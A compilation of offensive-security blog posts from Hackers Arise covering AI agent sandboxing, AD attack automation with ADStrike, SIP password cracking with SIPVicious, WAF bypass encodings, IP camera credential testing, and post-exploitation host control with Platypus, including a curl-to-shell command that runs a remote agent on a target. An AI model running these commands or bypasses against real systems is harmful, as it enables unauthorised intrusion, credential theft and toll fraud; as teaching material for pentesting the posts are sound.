“OpenClaw has open-sourced essentially the operating system of agentic computers. It is no different than how Windows made it possible for us to create personal computers. Now OpenClaw has made it possible for us to create personal agents.” — Jensen Huang

Real-world uses of this technology are already making a big difference. One example is Andrej Karpathy, who created a tool called “Research.” This tool lets users assign research tasks to an agent that can run 100 experiments overnight while you sleep. The agent keeps the successful results and discards the failures.

Immediately, turning large language models (LLMs) into an operating system changes how we use software. Instead of waiting for user input, it acts as an active agent, coordinating tasks across physical and digital domains.

But deploying raw, autonomous agents comes with significant risks. An agent must act independently to be valuable, which inherently creates a threat vector. By late 2026, there were 543 tracked CVEs for OpenClaw. In a previous article, we explored how malicious links can steal authentication tokens and compromise OpenClaw AI systems. Additionally, scanning tools have identified over 40,000 publicly accessible OpenClaw instances worldwide, many configured to bind to 0.0.0.0 with authentication disabled by default or operating over unencrypted HTTP.

To address these security challenges, NVIDIA worked with Peter Steinberger to create NemoClaw.

NemoClaw

NemoClaw is an open-source tool developed by NVIDIA that simplifies and secures the deployment of autonomous AI agents using the OpenClaw framework. It strengthens OpenClaw’s core security by running within NVIDIA OpenShell sandboxes and applying infrastructure-level security measures. OpenShell is an open-source runtime designed for executing fleets of autonomous AI agents in isolated, sandboxed environments with kernel-level protection. It combines sandbox runtime controls with a declarative YAML policy, letting teams run agents without giving them unrestricted access to local files, credentials, or external networks.

NemoClaw’s main goal is to make open-source autonomous-agent tools ready for enterprise use. It simplifies installation, provides guided onboarding, managed inference, network policy, managed integrations, and lifecycle operations through the NemoClaw CLI and its agent-specific aliases. Therefore, this setup tries to ensure that agents cannot compromise host files or gain unauthorized local privileges.

As of this article, NemoClaw supports OpenClaw, Hermes, and LangChain Deep Agents.

OpenClaw vs NemoClaw

Let’s compare the security features of those two tools.

Security Feature / Dimension	OpenClaw	NemoClaw
System Isolation & Privilege Level	Runs directly on the host OS with full root permissions. Associated CVEs: CVE-2026-24763 / CVE-2026-26329 (Command injection & path traversal allowing full host system compromise).	Runs inside isolated OpenShell containers/sandboxes; restricts filesystem writes, process execution, and privilege escalation.
Credential & Secret Handling	Stores tokens and API keys in plaintext files on local disk. Associated CVEs: CVE-2026-25253 (WebSocket token leakage allowing remote session hijacking).	Keeps provider credentials, web search tokens, and API keys outside the sandbox at managed egress boundaries.
Network Binding & Exposure	Binds by default to 0.0.0.0 over unencrypted HTTP. Real-World Threat: Over 40,000 public instances globally exposed to unauthenticated internet scans and automated attacks.	Enforces strict network policies, local loopback restrictions, and managed tunneling for secure communication.
Skill Supply Chain Control	Installs third-party skills freely from public registries without runtime validation. Real-World Threat: Over 300 malicious ClawHub skills found dropping infostealers (such as AMOS/Atomic Stealer variants).	Integrates scoped skill policies and structured Markdown documentation to audit and regulate extensions.
Prompt Injection & Blast Radius	Vulnerable to indirect prompt injection via malicious web pages or emails. Associated CVEs: CVE-2026-30741 (Tricking agents into executing arbitrary malicious shell commands with high blast radius).	Mitigated by sandboxing, behavioral guardrails based on NVIDIA NeMo architecture, and tightly scoped tool-calling permissions.

That table shows that NemoClaw really helps boost OpenClaw’s security. But just a heads-up.

First off, wrappers aren’t foolproof. If OpenClaw has a serious zero-day remote code execution vulnerability, an attacker could exploit it and potentially break out of the container if the runtime settings are misconfigured or the agent’s logic is directly compromised. NemoClaw does a good job limiting the damage by stopping the agent from tampering with system files or stealing SSH keys from your host machine, but it doesn’t magically fix flaws in the app’s core logic.

Second, container sandboxing and management tools like OpenShell and various runtimes have had their share of escape vulnerabilities, namespace issues, and privilege-escalation bugs. If the sandbox runtime has a flaw, a compromised agent could use it to target the host kernel.

That’s why running risky, untested AI frameworks directly on bare metal is a major security risk. Sandboxing gives you some protection and time, but a solid defense means keeping that underlying wrapper updated and cutting down on unnecessary network or tool permissions.

Set Up NemoClaw

NemoClaw can automatically discover an existing host-level OpenClaw installation and migrate its state into a secure OpenShell container sandbox. But in this demonstration, we’ll install everything from scratch.

Before installation, ensure that Docker and Node.js are installed on your system. Then, run the following command:

kali> curl -fsSL https://www.nvidia.com/nemoclaw.sh | bash

Accept the third-party software notice when prompted.

The interactive wizard creates the sandbox. Select OpenClaw when the installer prompts you to choose an agent. Choose an inference provider and model, then provide its credentials when prompted. Press Enter to accept the suggested my-assistant sandbox name. Follow the wizard, and then accept the suggested network policy tier.

At the end, you’ll see output like the one below.

After that, we can move on to testing the agent. NemoClaw supports terminal UI (TUI) and web mode. Let’s test the TUI.

kali> nemoclaw my-assistant connect

sandbox> openclaw tui

NemoClaw lists what is inside its workspace, but it can’t read or write outside /sandbox and /tmp.

NemoClaw in Action

Businesses have put together various reference guides, practical tips, and real-world examples for NVIDIA NemoClaw. While major public case studies are still emerging, Cisco is one company showing how it can be done.

Cisco and NVIDIA teamed up to create a case study on how the NVIDIA OpenShell works with Cisco AI Defense to keep enterprise autonomous agents safe during live operations like automated security patching and device analysis.

In their setup, an autonomous agent actively maps out network device configurations and data into a live knowledge graph. When a new zero-day vulnerability emerges, the security operations agent analyzes the threat and checks it against the current network setup to assess potential impact and develop prioritized remediation plans.

To prevent runtime exploits, NVIDIA OpenShell keeps the agent secure in infrastructure-level sandboxes with limited access, restricted network endpoints, and local privacy routers. At the same time, Cisco AI Defense monitors AI tools. Besides that, MCP calls catch a simulated secret data exfiltration attempt hidden in a third-party reporting skill before any sensitive info can escape the secure environment.

Summary

AI agents are changing how we use software. Tools like OpenClaw can make us much more efficient, but they also might have many vulnerabilities. To help keep your setup safe, NVIDIA developed NemoClaw, and this article shows you how to get started. Keep coming back as we continue to explore artificial intelligence.

If you’re interested in using AI for cybersecurity, definitely check out this training!

The post Artificial Intelligence (AI) in Cybersecurity, Part 29: Creating Isolated Autonomous Agents for Hacking with NemoClaw first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

As you know, there are thousands of Bluetooth and WiFi signals we pass through daily, especially if we live an active life in a big city. That includes tags, smartphones, WiFi routers, drones, surveillance devices, vehicles, body cams and mesh radios. Clearly it doesn’t stop here and the list goes on.

Many of you are privacy focused individuals and want to know what’s going on around you and whether you’re being tracked or watched by someone. That’s okay, protecting your privacy is a good thing. FieldWatch was made for this. It matches what it hears against an editable signature catalog of roughly 250 device types and shows the results in live views, recorded sessions, path maps and reports. Everything runs on the device and works fully offline.

FieldWatch

FieldWatch is a free, open-source Android app that listens to nearby Wi-Fi and Bluetooth signals using the radios already in your phone. It compares what it hears against a list of known device signatures and shows them. It only receives signals. It never transmits. 

You can set alerts for specific devices, record what’s present during a walk or drive, and later compare sessions. All the findings are sorted under their category. It also has basic GNSS interference detection and can send results to mapping tools like TAK. Matches are based on patterns, not guaranteed identifications, and the app only sees what the phone’s radios and Android allow it to see.

Depending on your preferences, you may want to see these devices on a radar or on a map. The app found the location of the drone operator as well as the drone itself.

TAK Support

TAK and ATAK are free mapping apps used by military, emergency responders and some civilians to share locations and information on a map in real time. FieldWatch can send what it detects straight to TAK over the local network.

When FieldWatch sees a drone that’s broadcasting Remote ID, it can place a moving marker on the TAK map for the drone and a second marker for the pilot if that location is available. Other devices it finds, plus any GNSS interference alerts, can also appear as markers. Several phones running FieldWatch can send data to the same map at the same time, so a team sees the same picture.

GNSS Interference Detection

Newer versions check for signs of GPS interference or spoofing using the phone’s own receiver. After a short outdoor calibration, it can alert you and mark the spot on your path or on a TAK map. It shows where you were, not where the interference came from.

Limits

Now let’s talk about its limits. It isn’t a direction finder. Also, it doesn’t scan Bluetooth Classic, cellular networks or full Wi-Fi traffic. Matches are based on patterns and those are not confirmed identities. Your results depend on the phone and what Android lets the app see. For better results use newer phones. Official versions only come from the GitHub repo.

Android App

Download the APK from the official GitHub page and sideload it. Android 10 or newer is required. Android 11 has more functions that can be used with this app. A short instruction file and manual are included. The repository has all the answers in terms of the app. It works on a cheap phone with no SIM card. OffGridPete recently posted that he used a Moto G for $30 for his test and it worked well. If you decide to use it, use it for your own privacy and security, and be respectful of other people’s privacy.

Summary

You can use your cheap phone as a scanner for devices nearby, and find jamming and tracking. There are different apps that do similar things, but they’re bound to Linux only, which is very inconvenient. FieldWatch works on an Android phone to find trackers, cameras, drones, body cams and more.

If you enjoy experimenting with frequencies and trying new things, we recommend signing up for our SDR for Hackers training. With Master OTW, you’ll learn how to use your computer and inexpensive SDR hardware to explore and hack a wide range of radio signals.

The post SDR (Signals Intelligence) for Hackers: Scanning Wireless Devices Using FieldWatch first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors! 

Our article on ADScan and ADPulse was popular. Those tools didn’t need the AI to work, they were basically using python libraries to do all the heavy work of analyzing the Active Directory setup. Today we will look at ADStike, which is somewhat similar but uses AI to arrange the attacks. AI here is completely optional. It analyzes the results of each step and decides what tool to run and what information to find. Models that support tool calls can be used for it, like Qwen 2.5-coder 7b.

ADStike has all the common AD attacks and different levels of OPSEC modes with 52 attack modules integrated. We will look at the workflow it has and use a local AI model to direct the pentest. 

Setting Up

The repository has the installation process laid out. Let’s use it.

kali > git clone https://github.com/capture0x/AdStrike.git && cd AdStrike && chmod +x install.sh run.sh && bash install.sh && source venv/bin/activate && bash run.sh

Usually it takes 5 minutes to set things up. Then you will be prompted to fill out the information about the domain. We are using our lab here with a regular account that doesn’t have any privileges in the domain to make it fair. 

When it has all the needed information, it will be saved in a config file. You will then see the main menu with options. Each phase has separate steps that can run individually.

We will go with step 53, which is AI. The tool already knows what local Ollama models we have installed and lets us choose if there are some. For this test we kept OPSEC level default.

Once you select the needed options, the scan will begin.

Pentesting Active Directory

The AI orchestrator will start from the first phase (Recon) and select only the appropriate phases and steps for your Active Directory setsups. All environments are different, some attacks will simply be impossible due to infrastructure limitations. 

As it progresses we start seeing the output on the screen from the commands it runs. 

Basically, it does all you would do but quicker. Below you can see that LAPS were empty, because they were not set up in this domain. You might want to recommend your client fix it, if you encounter the same results. LAPS help a lot in preventing lateral movement, since the Administrator password will never be the same across your machines. 

Then Kerberoasting follows. We did have a few roastable accounts. The compromise here will depend on your wordlist. 

Since it’s our lab, we knew the password of that user.

Another attack you may see is Timeroasting. Here it uses an impacket script to extract computer hashes. While those are basically impossible to brute force, some computers are vulnerable to Pre2k attack, where the password of the computer matches the DNS name. 

Here is more on Pre2k. Look at the NetExec commands. It’s passing the computer name and the password to the DC to find a valid account. These machines can have certain privileges, just like users do. All the privileges can be found in BloodHound. By the way, ADStrike will run SharpHound collection and analyze the data with AI to find paths and worthy accounts. 

Finally, after all the necessary steps, you will have a nice report generated in different formats.

Let’s open the HTML version and see what it looks like.

Scrolling down we see the MITRE ATT&CK Coverage

Then we have all the findings and their details. 

Summary

ADStrike looks very promising and easy to work with. It has 52 attack modules that are orchestrated with AI. AI here is completely optional and things should work without it as well. If you prefer not to let AI execute anything in your environment, you can use it for planning only or leave it alone to pwn your lab.

Join our AI for Cybersecurity training to learn more! During the training, we’ll show you different ways of using AI in cybersecurity, set up local models and solve labs. The field is evolving rapidly and the sooner you learn things, the greater the advantage you’ll have.

The post Artificial Intelligence (AI) in Cybersecurity, Part 28: Using ADStrike to Compromise Active Directory first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

Some of you have already seen the headlines about malware calling out to AI APIs. Recently, Talos found a Windows implant called CLOSEDQUORUM that leaves its tactical command and control decisions to a panel of commercial LLMs while the operator sleeps. Malware like that doesn’t leave the traces we’re used to hunting. Now you find prompt templates, provider endpoints, API key prefixes, jailbreak wording and sometimes text written to talk an AI sandbox out of flagging the file. Talos calls these cognitive artifacts and developers who wire an LLM into their tooling leave some behind.

What is CAIRN

Cisco Talos built a free research tool called CAIRN. The name is a metaphor. A cairn is a pile of stones hikers leave on a trail so the next person can see where to go. CAIRN looks for the same kind of marker inside malware that talks to AI. It works from metadata, which means you never download the sample and you never run it. Keep in mind, it needs a VirusTotal API. It sorts what it finds into three tiers, from a simple AI string match, to behavior and families. It also clusters samples that look alike even when they don’t share an obvious string. 

CAIRN is a research tool and not a live threat feed. It shows us where hackers are heading. 

Let’s set it up and cover some basic commands. 

Setting Up

We start by copying the repository and installing the python libraries.

kali > git clone https://github.com/Cisco-Talos/Cognitive-Artifact-Intelligence-Research-Network.git

kali > cd Cognitive-Artifact-Intelligence-Research-Network

kali > python -m venv .venv
kali > source .venv/bin/activate          

kali > pip install -e ".[dev]"

The env file needs VirusTotal API.

kali > cp .env.example .env
kali > nano .env

Once it’s there, you can start with some basic commands.

Basic Commands

The first thing we do is open the YARA file that ships with CAIRN and check that it is readable and put together the way the tool expects. If it prints a rule count and says the pack is valid, the rulers are loaded. You run it after install or after you edit a rule, so you know the next hunt will not fail because the rule file is broken.

kali > cairn validate-rules

Next we print the list of saved VirusTotal searches that come with CAIRN. We will use these names in the following command. The command only reads a config file on disk.

kali > cairn filters

Each name on that list is a hunt idea you can use, like Python files that mention an LLM library, or files that mention a hosted API.

kali > cairn pull --filter python-ai-scripts --limit 10

Next, you can summarize the findings. It reads only your database and tells you how many files you got and what rules were in use. 

kali > cairn summarize

We can then open the map.

kali > cairn explore

Here is how the clusters look like. Samples are grouped into clusters even when they share no obvious string overlap. These are semantic discoveries that analyze the meaning. 

Malware That Uses AI

Let’s take a look at the new developments in malware that were published by Cisco Talos. Their team was analyzing CLOSEDQUORUM.

They say it’s the first publicly documented Windows implant to apply this model to tactical command and control (C2). After it’s deployed, it uses AI models to decide what to do next and then executes their collective decision to harvest user credentials and crypto wallets. It doesn’t need a human to be ruling over the process, as the AI does everything. 

Traditional C2 architecture needs the hackers to have server infrastructure. That infrastructure is attributable and blockable. Instead of this, CLOSEDQUORUM calls up to four commercial LLM provider endpoints used by thousands of legitimate applications daily.

Here is how it looks decompiled. 

You see the providers, models and prompts. 

Hackers also may give detailed technical prompt templates. Here TARGET: %s is substituted at runtime. 

The response is then deserialized into a Go struct. 

Structure of the returned model’s decision.

Summary

Malware that calls out to AI is already here. There’s no server to attribute or block, since the traffic goes to provider endpoints that legitimate apps hit all day. Now we also hunt for cognitive artifacts like prompt templates, provider endpoints, API key prefixes and jailbreak wording. CAIRN helps with that by working from VirusTotal metadata, so you never download or run the sample. It groups findings by AI strings, behavior and families and clusters similar samples by meaning. It shows us where hackers are heading, and they’re heading toward AI doing the thinking for them.

If you like Malware Analysis and want to improve your skills in this field, sign up for our Reverse Engineering Malware training.

The post Malware Analysis: Analyzing AI-Backed Malware with CAIRN first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors and bug bounty hunters!

Hacking web applications nowadays requires not just a well-written exploit but also a way to bypass a Web Application Firewall (WAF). Despite being a staple of modern security architecture, WAFs are often misunderstood: they are usually treated as magic shields when, in fact, they are complex systems with strengths, limitations, and blind spots.

In this article, we will cover three core topics: WAF operation, WAF fingerprinting methods, and bypass techniques. Let’s get rolling!

Understanding Web Application Firewalls and Detection Logic

A Web Application Firewall (WAF) is a security tool that sits in front of your web app and checks every incoming request before it reaches your code. It operates at Layer 7 of the OSI model, the application layer where HTTP traffic lives. Unlike traditional network firewalls, a WAF looks at the actual content of requests, like headers and URLs, not just their source.

WAFs typically use three methods to assess requests.

First is signature-based detection, similar to antivirus software. The WAF compares incoming requests against a list of known attack patterns and blocks any matches. This method is fast and effective for common attacks, but it can miss variations.

Next, anomaly scoring assigns points for various suspicious elements within a request. When the total score exceeds a threshold, the WAF blocks the request. This method is flexible because a single odd detail isn’t concerning, but a combination is.

Finally, behavioral detection focuses on client activity over time. The WAF monitors request rates and patterns and shuts down suspicious behavior like automated login attempts, even if each request seems harmless.

Combining these strategies gives a WAF a strong understanding of traffic, making it a key defense for serious web applications.

Fingerprinting a WAF

Before you do anything with the target, it’s smart to see whether they’re using a WAF at all. A good first step is to check the web application’s headers. You can easily do this with the curl command. Just type:

kali> curl -I target.com

In the screenshot above, we can see that the site uses Cloudflare and Qrator’s WAF. Usually, you can spot some hints in the headers that help identify it, like:

The unique transaction tracking ID: X-Qrator-Request-ID or X-Qrator-Req-ID

Server header showing: Server: QRATOR

Internal proxy metadata headers like X-Qrator-IP or X-Qrator-Upstream.

Another way to fingerprint the WAF is through behavior analysis. Here, we’re not just loading a webpage, but we send something that seems a bit malicious. For example, let’s try executing a random HTTP method:

kali> curl -i -X CUSTOMVERB “https://example.com/”

When you run into a 418 status code along with kittenx, it’s usually the edge layer stepping in as a bot-mitigation tool or a WAF block. This means that the incoming request hit a security rule, hit a rate limit, or didn’t pass automated fingerprint checks. Most of the time, you’ll see a 403 status code, which is the classic WAF block. Sometimes you might see other codes like 406, especially with ModSecurity CRS. Some vendors even show their own “Access Denied” HTML page when this happens.

Instead of using curl to trigger different WAF rules manually, a cool tool called WAFW00F can do the identification for you. It starts by sending a normal HTTP request and checking the response to see which WAF solutions it can spot. If that doesn’t work, it sends potentially malicious HTTP requests to figure out which WAF is in play. If that still doesn’t yield results, it looks back at previous responses. It uses straightforward logic to guess whether a WAF or security tool is responding to its efforts. This tool is actually preinstalled on Kali Linux, so you can easily check it out by running:

kali> wafw00f -h

WAFW00F can spot plenty of firewalls. If you want to see the full list, just run this command:

kali> wafw00f -l

You just need to throw a URL in as an argument to get started.

Common WAF Bypass Techniques

Web apps handle lots of encoded text, and problems arise when they decode that text multiple times or in the wrong order compared to what a WAF expects.

For example, double URL encoding can create vulnerabilities. If you encode a single quote twice as %2527, the WAF sees that and thinks it’s safe. But once the app decodes it twice, it turns into a real single quote, slipping past the WAF. This often leads to XSS.

Unicode normalization can also be tricky because characters can appear in different ways. For example, if a WAF looks for < (U+003C) but gets the full-width version (U+FF1C), it won’t catch it. When the app normalizes it back to <, it creates a vulnerability.

Then there is ASCII smuggling, where attackers use invisible Unicode tags (U+E0000 to U+E007F) to replace plain ASCII characters. To the bare eye or even a WAF, it looks like a space in a regular message. But when the application decodes those tags, the hidden payload shows up intact and ready to execute. It is all about hiding real characters behind an invisible disguise.

With the popularity of AI, we also encounter a new type of vulnerability. If an AI model doesn’t have appropriate security guidelines, ASCII manipulations can lead to data poisoning.

Summary

There are tons of ways to get past a WAF without being noticed. In this article, we quickly covered what a WAF is, how it works, and how to identify which WAF you’re dealing with so you can test specific bypass techniques. In a future article, we’ll cover automated solutions. Stay tuned!

The post Introduction to Web Application Firewall (WAF) and Ways to Bypass It first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

One of the challenges during a pentest is keeping everything organized. A small assessment with just a few machines is usually easy to manage, but enterprise environments are a completely different story. You can easily end up working with dozens or even hundreds of Linux and Windows systems, each with different services, users, applications, and configurations.

As pentesters, we often spend a lot of time performing security checks and audits, looking for configs, finding credentials, cloud access tokens and more. All that information is spread across many different hosts and it’s easy to lose track of what’s already been checked and what still needs to be looked at. Managing dozens of SSH sessions or reverse shells gets frustrating fast.

You can use Platypus to solve this issue. It’s a centralized host management platform that makes it a lot easier to work with multiple systems from a single interface.

Let’s see how it works.

What is Platypus

Platypus is an open source host management platform built to help you manage large numbers of Linux, Windows and macOS machines from a web interface.  The platform works by starting an agent on every machine you want to manage. Once started, the agent connects back to your Platypus server using encrypted TLS communications and Protocol Buffers (protobuf).

From the web interface you can launch interactive shells, look at the file system, upload and download files, run security audits and much more. You can install Platypus on a VPS and manage machines over the internet or host it entirely inside a local network

Setting Up

The easiest way to install Platypus is with Docker.

kali > git clone https://github.com/WangYihang/Platypus.git
kali > cd Platypus

Before starting the containers, there’s one important configuration change to make.

Open docker-compose.yml with a text editor. By default it has localhost. Since our agents will be connecting from other hosts, replace localhost with the IP address of the machine running Platypus. If you’re deploying on a VPS, replace it with the public IP instead.

That’s the only configuration change needed for a basic installation. Once you’ve saved the file, launch the platform.

kali > docker-compose up -d

After everything finishes, the web interface is available. We had ours on https://192.168.131.7:9443. That’s the same address you should include in the set up process when you access it on the web.

During the initial setup, Platypus will also ask you to create the first administrator account. To prevent unauthorized access, you’ll need to provide the Bootstrap Secret generated during installation

kali > docker cp platypus-platypus-server-1:/app/data/bootstrap.secret .
kali > cat bootstrap.secret

Copy and paste it.

Working with GUI

Each pentest can have its own project. You can also organize by department or environment, prod and dev for example.

Open the project and scroll down to the Open Hosts section. This is where all enrolled machines will appear. The next step is generating an agent to deploy onto your target systems.

The platform supports Linux, Windows and macOS

Creating Agents

When you create an agent, you can choose what to include based on your needs. We selected the Full package, since it has the largest collection of features and plugins.

Once you’ve configured the agent, Platypus generates a unique installation link you can run on the target machine.

Keep in mind that it doesn’t permanently install itself like traditional management software. The agent runs as a process after being launched. By default, every installation URL contains a unique enrollment token valid for a single installation, which helps prevent unauthorized reuse if the link gets out.

To launch the agent on the target machine, use Tmux so the process keeps running even if your SSH session drops.

ubuntu > curl -fsSL --tlsv1.2 -k https://192.168.131.7:9443/api/v1/install/dl_7dm5amwjjirrqv35biem.ib3sxs64fug543w32oxe?download_tls=insecure | sh > /dev/null

After a few moments, assuming the machine can reach your Platypus server, the new host will show up in the dashboard with basic system information.

Working with Hosts

One of the first features you’ll use is the interactive shell. Since we went with the Full package, shell was included by default.

Another useful feature is the file browser.

Then we have auditing. Platypus scans the file system looking for valuable configs and sensitive information. All systems are different, but that can include database credentials, API keys, SSH keys, cloud configs and more.

The platform also includes various security checks. These aren’t meant to replace a full security assessment, but they come in handy.

Plugins

Plugins collect information about firewall rules, journald logs, scheduled cron jobs, active network connections and many other parts of the OS.

Summary

Managing large numbers of machines during a pentest can quickly become overwhelming. Valuable information ends up scattered across multiple hosts, so it takes time to track your findings. Platypus keeps all your systems together and cuts down on a lot of the repetitive work in post exploitation.

If you’re interested in red teaming and want to build the skills required to be a pentester, we offer our Red Team Operator training program.

The post Pentesting: Managing Compromised Machines with Platypus first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors! 

If you’ve worked in an office, you’ve seen those phones on every desk. Some are wireless with a station, others look like regular landline phones. SIP is the language office phones use to sign in and start a call over the network. A phone call over the internet has two parts. First the two sides have to find each other and agree to talk, then the actual voice moves. SIP only handles the first part. The voices themselves travel on a separate path. That’s how most VoIP systems set up calls.

That’s why a stolen SIP password can be an issue. They are stealing the system’s belief that they are that desk phone. Once the handshake accepts them as an extension, say 1000, the phone system treats their laptop like that employee’s handset. They can place calls as other people and in many setups receive their incoming calls too.

Today we’re going to use SIPVicious against SIP and show you how it can be compromised.

Asterisk 

Asterisk is a program that understands SIP and runs the office switchboard. It decides who can sign in, what numbers exist, and who can call whom. It’s one of the most popular programs for SIP.

We set it up in our lab with Docker.

SIPVicious

Next thing we need to have installed is SIPVicious. The installation is pretty simple.

ubuntu > python3 -m venv sipvicious
ubuntu > source sipvicious/bin/activate
ubuntu > pip3 install sipvicious

The tool comes with 5 different commands: svmap, svwar, svcrack, svreport, svcrash.

Each of these commands has a help menu

ubuntu > sipvicious_svmap -h

We’ll use the first three commands for our test. The rest aren’t really important.

Identification

Using svmap we can find out what service the target is running.

ubuntu > sipvicious_svmap 127.0.0.1

Sometimes the results vary depending on whether you provide the extension. The extension is the phone’s account number.

ubuntu > sipvicious_svmap 127.0.0.1 -e 1000

You can look up the version and check whether it’s vulnerable to known exploits

Finding Account Numbers

Extensions are account numbers. They usually start at 1000. Old software will allow enumeration, but modern software ignores your requests, so you won’t be able to find out which accounts exist.

Still, it’s worth trying.

ubuntu > sipvicious_svwar 127.0.0.1 -e 1000-1010

You can also try –force and see what comes back. You’ll most likely see 401 Unauthorized, but that can vary depending on the software you’re testing.

ubuntu > sipvicious_svwar 127.0.0.1 -e 1000-1010 --force

Cracking Passwords

Even if we can look up extensions, we’ll start by trying common ones with our own credentials list. Let’s create a wordlist first.

# creating the list of credentials

ubuntu > printf ‘%s\n’ 1000 1001 admin password asterisk mrsip-lab > sip-pass.txt

ubuntu > sipvicious_svcrack 127.0.0.1 -u 1000 -d sip-pass.txt

mr-siplab was indeed our password for three of those accounts. This let’s take a look at two other ways of getting credentials without a wordlist. 

One option is to test the passwords the tool ships with. The default password set is a numeric range from 100 to 999

ubuntu > sipvicious_svcrack 127.0.0.1 -u 1000

You can also try the –enabledefaults flag. It adds common passwords, including the extension number itself.

ubuntu > sipvicious_svcrack 127.0.0.1 -u 1000 --enabledefauls

This didn’t work in our case, because the password was not predictable. 

We did have three contacts in our Asterisk setup though, and the tool successfully compromised all of them.

What Can Hackers Do

One of the biggest risks is toll fraud. Hackers can use compromised extension credentials to register to the system and place expensive international calls. That’s still the most common attack. Hackers can use compromised accounts to run vishing campaigns against other companies. If hackers are already inside and have the phonebook, they can convince employees and support teams to reset passwords, for example.

Summary

Modern software blocks enumeration of existing users, but it’s still possible given how much outdated software is out there. SIPVicious can identify the software in use and test common extensions for weak passwords. There are a few password attacks it can run with or without a wordlist. Sometimes knowing the version alone is enough to compromise a server and get into the network. Don’t overlook yours and regularly upgrade things.

The post Offensive Security: Pentesting Office Phones with SIPVicious first appeared on Hackers Arise.

Welcome back, cyberwarriors!

A few weeks ago we published PwnEye, which is a great tool for camera hacking. We talked about the importance of keeping your IoT devices patched to prevent unauthorized access. A less hardened device is a lot more appealing to a hacker, especially when it sits on the same network as other infrastructure.

Cheap devices aren’t really built with security in mind and some of them come with backdoors that sooner or later get discovered and abused by anyone who finds them online.

Today let’s look at a tool that can identify cameras, test credentials and help you harden them.

Eyesharvester

Eyesharvester is a recon tool for IP cameras, DVRs and NVRs. You give it an IP range, it scans common ports, fingerprints the vendor and optionally tries default credentials. It can also show known CVEs associated with a brand and give you basic hardening advice. The tool is mainly for identification and reporting.

Setting Up

Let’s quickly download the repository and install the tool. No dependencies needed to get started.

kali > git clone https://github.com/Exhunterx/eyesharvester.git
kali > cd eyesharvester
kali > bash install.sh

The help menu covers everything the tool can do.

kali > eyesharvester --help

Now let’s look at the ways you can use it.

Testing Cameras

You don’t always get the camera IP ranges from admins, so recon comes first. We need to figure out which IPs belong to cameras.

kali > eyesharvester IP/24

A few cameras were found. Now let’s pipe all those IPs to a text file. The flag below will silence the noise. 

kali >  eyesharvester IP/24 -q  > cameras.txt
kali > cat cameras.txt

You can keep these IPs for future tests, say with PwnEye for example. Or maybe you want to update the spreadsheet of your surveillance infrastructure, as admins often do, though there are better ways to keep a record of everything.

We can also run confirmation checks to make sure these are actually cameras.

kali > eyesharvester IP/24 -c confirmed -v

There’s a confirmed Hikvision camera above. We’ll test it and the rest of those we found for default credentials.

kali > eyesharvester IP/24 --check-creds

Finding a camera with default credentials internally is very common.

Hardening Cameras

Testing cameras is fun, but hardening them is a bigger question that needs to be addressed. Both pentesters and defenders should know how to do it and your report should include recommendations on how to harden these devices.

kali > eyesharvester IP --harden

Based on the vendor and open ports, a hardening checklist is generated along with the CVEs that affect your device. This mainly covers segmenting devices away from business and IT networks, disabling unused services, replacing weak credentials and updating firmware.

It’s very common to find Hikvision cameras vulnerable to CVE-2021-36260. The exploit can give you a shell on the device and lets you run commands.

We tested the same device and it was vulnerable with no patch applied.

This vulnerability is particularly interesting because you can generate a payload with Metasploit for this camera and connect it back to your C2. Then using a Meterpreter proxy or reverse SSH tunnel that camera becomes a proxy for attacking other reachable hosts on the network.

Summary

Testing cameras is definitely fun and PwnEye can help a lot here, but securing them can be part of your job too. Knowing how to both break and fix these devices gives you a better understanding of cybersecurity overall. That’s why you need Eyesharvester.

There are many other attacks on cameras, and it would be a very long article to cover them here. That’s why we created our IP Camera Hacking Training. It’s now part of our Cybersecurity Starter Bundle II. With it you get Wi-Fi Hacking, Python Basics for Hackers, Remaining Anonymous and more. 

The post Camera Hacking: Testing Cameras with Eyesharvester first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

Lately we’ve been seeing a lot of posts about God’s Eye, a spy satellite simulator that runs in your browser. It’s a great tool developed by Bilawal Sidhu, but it requires certain paid APIs. Those APIs make the experience a lot richer, but they can be hard to get or you just don’t want to pay for them. That’s fine. For that reason we want to cover a fork developed by Gh0st-mods.

God’s Eye

God’s Eye is basically a website you run on your own computer that shows the Earth as a 3D globe with live public data on top of it. You can see planes in the air, ships at sea, some satellites, earthquakes and public traffic cameras. When you select those objects on the map, it tells you everything it knows about it. This can be its identity, speed, heading and other details. It looks like a spy movie. The data is just ordinary public feeds.

Let’s set up the fork and see how the free version works.

Setting Up

First, make sure you have all the dependencies installed.

kali > sudo apt update
kali > sudo apt install nodejs
kali > sudo apt install npm

Then clone the repository and install what it needs.

kali > git clone https://github.com/Gh0st-mods/Gods-Eye-Ghost-Edition.git
kali > cd Gods-Eye-Ghost-Edition
kali > npm install
kali > npm run dev -- --host localhost --port 4173

The app is available at http://localhost:4173, so we can open it in a browser.

Let’s walk through some of its features.

Data Layers

There are multiple data layers and many of them work without any API key. You can always add them to the .env file if you want a richer experience.

Aircraft Tracking

Each aircraft gets rendered in 3D flying over the Earth. You can switch visual presets too. Here we have a civil aircraft flying over the south of England.

Below you can see all the information on it.

Maritime Vehicles

These include transport and nontransport vessels. You’ll see plenty of them scattered across the globe. Here’s a tanker moored somewhere in Miami. Military vessels will also be shown on the map, so you can monitor their activity.

The satellite image quality looks good, since the tool sharpens it for you.

Dams

Water dams are part of critical infrastructure. Their locations are publicly available and integrated into the tool. Here is the Barro Blanco Dam in Panama. All critical facilities need good care and protection, especially during wartime, since they’re one of the things an enemy tries to attack.

Data Centers

Just like dams, data centers are important targets. If an enemy attacks data centers (drones/missiles, sabotage or cyberattacks) the result can be permanent data loss. Data centers are the physical backbone of banking, payments, logistics, government systems, AI and often military/cloud services. Hitting them will inflict economic and operational pain. The effects will cascade across almost everyone, even those who are completely offline.

One of these attacks happened recently when Iran attacked Amazon data centers.

Satellites and Earthquakes 

This isn’t the most notable feature on the platform, but it’s there and might be interesting to some. The data updates regularly. Below you can see several earthquakes hitting Japan in the last 24 hours. No surprise there, that region is highly seismic.

Summary

World monitoring apps are getting more popular. Some don’t even need to be installed, like Osiris. The original project by Bilawal Sidhu is great, but it still requires a paid Google API, which not everyone is comfortable with. The fork we covered today works for free out of the box. If you liked it, you might also want to check out ShadowBroker.

